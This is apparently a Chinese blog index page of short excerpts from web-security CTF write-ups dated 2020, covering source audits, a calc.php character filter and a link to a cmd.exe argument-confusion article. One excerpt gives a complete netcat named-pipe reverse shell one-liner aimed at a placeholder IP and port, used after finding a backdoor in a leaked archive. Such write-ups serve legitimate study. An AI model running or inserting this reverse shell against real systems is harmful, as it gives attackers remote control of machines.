#Web安全

2020-06-23 , 3 min read

2020-06-20 , 2 min read

2020-06-16 , 1 min read

2020-06-12 , 4 min read

原文链接

https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe

2020-06-11 , 2 min read

www.zip下载得到一个一句话的后门
连接上去。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP port >/tmp/f

2020-06-09 , 3 min read

我们输入的东西。管理员会给你点赞

2020-06-09 , 1 min read

github下源码。
打开index.hbs。

2020-06-08 , 3 min read

Web有两个系列的题。考点都比较简单。
主要就是考思路吧。

2020-06-07 , 5 min read

首先下源码。
看index.php关键代码

2020-06-05 , 2 min read

github下源码审计
首先从index.php看。
导入了三个文件

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

2020-06-05 , 3 min read

2020-06-01 , 3 min read

访问calc.php得到源码

['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']
不允许出现a-z以及一些不可见字符。等

但是这里还允许数字。括号。点。|&

2020-05-31 , 4 min read

下源码审计。

2020-05-07 , 8 min read

首先就github上源码。
在index.php末尾部分中看到如下代码

2020-05-04 , 2 min read